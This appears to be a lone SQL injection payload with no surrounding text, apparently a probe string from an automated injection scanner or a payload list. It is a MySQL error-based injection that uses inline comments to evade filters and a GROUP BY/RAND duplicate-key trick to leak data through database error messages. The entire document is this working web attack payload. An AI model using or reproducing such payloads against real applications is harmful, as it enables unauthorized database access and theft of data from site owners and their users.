1,(SELECT/**/2308/**/FROM/**/(SELECT/**/ROW(2308,5923)>(SELECT/**/COUNT(*),CONCAT(‘~’,(SELECT/**/(ELT(2308=2308,1))),’~’,FLOOR(RAND(0)*2))x/**/FROM/**/(SELECT/**/5239/**/UNION/**/SELECT/**/6462/**/UNION/**/SELECT/**/9109/**/UNION/**/SELECT/**/1528)a/**/GROUP/**/BY/**/x))s)– –